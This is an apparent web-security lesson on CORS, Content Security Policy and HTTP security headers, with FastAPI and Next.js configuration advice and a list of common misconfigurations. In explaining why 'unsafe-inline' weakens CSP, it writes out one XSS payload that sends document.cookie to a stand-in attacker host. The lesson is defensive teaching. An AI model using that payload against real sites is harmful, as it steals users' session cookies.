FullStack AI Hub
Studio
lesson depth
Mastery
not started · 0%

CORS, CSP & Security Headers

Cross-Origin Resource Sharing (CORS), Content Security Policy (CSP), and browser security headers.

Freshness: current•15 min read•Software and Web Engineering

Key Learning Outcomes

  • ✓Configure strict CORS headers without wildcard vulnerabilities
  • ✓Mitigate XSS attacks using Content Security Policy (CSP)
Full Technical Reference Document

Mental model

Web browsers protect users by isolating every origin (scheme + host + port) under the Same-Origin Policy (SOP): client JavaScript at evil.com cannot freely read authenticated responses from api.yourapp.com, nor load arbitrary inline scripts unless explicitly authorized. CORS (Cross-Origin Resource Sharing) selectively punches auditable, explicit allowlist holes in SOP so trusted frontends can read cross-origin APIs, while CSP (Content Security Policy) and defense-in-depth HTTP headers (HSTS, frame-ancestors, X-Content-Type-Options) turn potential HTML/script injection bugs from catastrophic XSS account takeovers into blocked browser telemetry reports. Crucially, CORS is purely a browser enforcement mechanism—never a substitute for API authentication against curl or rogue backends.

Browser Preflight OPTIONS Request
Server Checks Exact Origin Allowlist
Echo Access-Control-Allow-Origin + Vary
Attach Nonce CSP & HSTS Headers
Browser Enforces Script & Read Boundaries
Conceptual teaching model synthesized from:mdn-http-headers,owasp-api-security

Theory

Understanding both cross-origin API sharing and in-page script execution lockdown clears up the two most common production web-security bugs: accidentally trusting arbitrary Origin headers (broken CORS), and accidentally breaking or bypassing CSP with 'unsafe-inline'.

Security HeaderPrimary Threat MitigatedProduction Recommended ValueCommon Misconfiguration Trap
Access-Control-Allow-OriginUnauthorized cross-origin browser data readsExact matched origin from server allowlist + Vary: OriginReflecting any incoming Origin blindly (equivalent to wildcard + credentials!) or missing Vary: Origin behind CDNs
Content-Security-Policy (CSP)Stored/Reflected XSS script execution + framingdefault-src 'self'; script-src 'self' 'nonce-{rand}' 'strict-dynamic'; frame-ancestors 'none'; object-src 'none'Adding 'unsafe-inline' or whitelisting broad CDNs (https://cdn.jsdelivr.net), which bypasses CSP completely
Strict-Transport-Security (HSTS)SSL-stripping & HTTP downgrade interceptionmax-age=31536000; includeSubDomains (add ; preload only after testing every subdomain)Sending HSTS over plain HTTP (ignored by browsers) or breaking non-HTTPS internal staging subdomains
X-Content-Type-OptionsBrowser MIME-sniffing treating .txt/uploads as JSnosniffOmitting on user-upload/UGC download routes
Referrer-Policy & Cross-Origin-*Leaking reset tokens in Referer headers & Spectre cross-origin leaksReferrer-Policy: strict-origin-when-cross-origin; COOP: same-originLeaking sensitive query tokens via default legacy referrer behavior

CORS Preflight Caching, Vary: Origin, and CSP Rollout (Report-Only)

Non-simple cross-origin calls (Authorization header, Content-Type: application/json, PUT/DELETE) prompt browsers to fire an unauthenticated OPTIONS preflight before transmitting the actual payload. Keep Access-Control-Max-Age: 3600 (browser-capped) to cut redundant OPTIONS latency on API endpoints—and whenever your backend dynamically reflects an allowlisted Origin, always attach Vary: Origin so CloudFront/Cloudflare CDNs never cache an Access-Control-Allow-Origin: https://app.com header and reject requests arriving from https://docs.app.com! For CSP, deploy new rules first via Content-Security-Policy-Report-Only paired with report-to telemetry in staging/production before switching to enforcing mode so third-party embeds (Stripe, GA4) don't break checkout flows unexpectedly.

python
from fastapi import FastAPI, Request, Response
from fastapi.middleware.cors import CORSMiddleware
​
app = FastAPI()
​
# Explicit exact origins only; NEVER blindly echo request.headers["origin"] without allowlist check
ALLOWED_ORIGINS = [
"https://fullstackaihub.com",
"https://app.fullstackaihub.com",
]
​
app.add_middleware(
CORSMiddleware,
allow_origins=ALLOWED_ORIGINS,
allow_credentials=True,
allow_methods=["GET", "POST", "PUT", "PATCH", "DELETE"],
allow_headers=["Authorization", "Content-Type", "X-Requested-With"],
max_age=3600,
)
​
@app.middleware("http")
async def apply_security_headers(request: Request, call_next) -> Response:
response = await call_next(request)
# Modern clickjacking protection uses CSP frame-ancestors alongside legacy X-Frame-Options
response.headers["Content-Security-Policy"] = (
"default-src 'self'; script-src 'self'; object-src 'none'; "
"base-uri 'self'; frame-ancestors 'none'; upgrade-insecure-requests"
)
response.headers["X-Frame-Options"] = "DENY"
response.headers["X-Content-Type-Options"] = "nosniff"
response.headers["Referrer-Policy"] = "strict-origin-when-cross-origin"
response.headers["Strict-Transport-Security"] = "max-age=63072000; includeSubDomains"
return response

Notice in Next.js or SSR HTML apps rendering inline bootstrap snippets (like gtag or theme initialization), generating a cryptographic per-request nonce in Next.js middleware.ts (script-src 'nonce-<rand>' 'strict-dynamic') eliminates the need for weak 'unsafe-inline' exclusions cleanly while forcing SSR routes dynamic.

Alternatives and trade-offs

  • Edge Reverse-Proxy Headers + App CORS Validation: Offloading static security headers (HSTS, X-Content-Type-Options, CDN Vary) to Nginx/Traefik/Cloudflare while enforcing origin allowlists close to FastAPI/Next.js middleware guarantees coverage even on static files and error responses (404/502), though requires careful header deduplication so upstream responses don't emit conflicting duplicate CSP policies (the browser intersects them, breaking legitimate scripts!).
  • Same-Origin Reverse-Proxy Routing (/api/* under app.example.com): Eliminates CORS preflight round-trips altogether (0 OPTIONS calls, seamless SameSite=Lax cookie authentication), making web SPAs faster and simpler when mobile/third-party origins aren't calling the API directly.
  • Strict Nonce CSP ('strict-dynamic') vs Hash CSP ('sha256-...'): Static HTML sites hosted without per-request SSR compute (like CDN-cached docs) use exact SHA-256 script hashes so pages stay edge-cacheable without forcing dynamic per-request nonces.

Failure modes and misconceptions

  1. Combining allow_origins=["*"] With allow_credentials=True: The Fetch specification forbids browsers from exposing credentialed responses (Cookies, Authorization) alongside wildcard * origins—or worse, naive regex allow_origin_regex rules matching https://yourapp.com.attacker.com! Always anchor exact schemes and domains (^https://([a-z0-9-]+\.)?fullstackaihub\.com$).
  2. Thinking CORS Blocks CSRF (POST/DELETE Mutations Without Tokens): Remember simple requests (application/x-www-form-urlencoded or text/plain POSTs with cookies) fire without a CORS preflight, and even preflight failures do not authenticate requests! Use SameSite=Lax/Strict cookies, JSON Content-Type enforcement + custom CSRF tokens, and never depend on CORS to secure state-changing endpoints.
  3. Permitting 'unsafe-inline' or 'unsafe-eval' in Production CSP: Leaving 'unsafe-inline' in script-src allows an XSS payload <script>fetch('https://evil?c='+document.cookie)</script> to execute unimpeded, neutralizing CSP's primary defense value.
  4. Missing Access-Control-Expose-Headers on Custom Response Headers: Even when CORS succeeds, browsers hide non-safelisted response headers (X-Request-ID, X-RateLimit-Remaining, Content-Disposition) from fetch().headers.get(...) unless explicitly listed in expose_headers.
Reflect before revealing the guide

Decision scenario

Your platform exposes authenticated REST endpoints on api.fullstackaihub.com consumed by fullstackaihub.com, plus static HTML documentation and SSR interactive sandboxes requiring strict XSS protection. Host same-origin /api/* proxies where possible to eliminate preflight overhead; where cross-origin APIs remain, configure FastAPI CORSMiddleware strictly against exact allowlisted HTTPS origins with max_age=3600 (Vary: Origin), expose X-Request-ID / rate-limit headers via expose_headers, enforce Content-Security-Policy-Report-Only first to validate third-party GA4/iframe origins before promoting to nonce-backed CSP (frame-ancestors 'none', object-src 'none'), and pair with Strict-Transport-Security + nosniff at the Traefik/Next.js edge.

Learning outcomes

  • Contrast Same-Origin Policy (SOP), CORS preflight validation, and server-side CSRF protections accurately.
  • Configure credentialed CORS safely using exact origin allowlists, Vary: Origin, and expose_headers.
  • Harden HTML documents against XSS and clickjacking using nonce/hash CSP policies, frame-ancestors 'none', HSTS, and nosniff.
  • Roll out complex CSP upgrades safely via Content-Security-Policy-Report-Only before enforcement.

Trade-offs

Strict CORS allowlists and nonce-backed CSP policies sharply curtail credential leaks, MIME spoofing, and XSS blast radii, at the cost of explicit preflight caching configuration, careful CDN Vary header hygiene, and disciplined third-party script inventory management.

Prerequisites & Related Concepts (2)

Private notes

0 words
Recommended Free Track
Free · Verifiable Credential

FS-201Production LLM Engineer

Design an observable full-stack LLM product from capability validation through interfaces retrieval evaluation security and operations.

37 concepts~35h self-paced
Start Free Course
Weekly Engineering Dispatch

Get the weekly systems teardown

One technical note per week covering inference bottlenecks, retrieval harnesses, and commit-pinned teardowns.

Next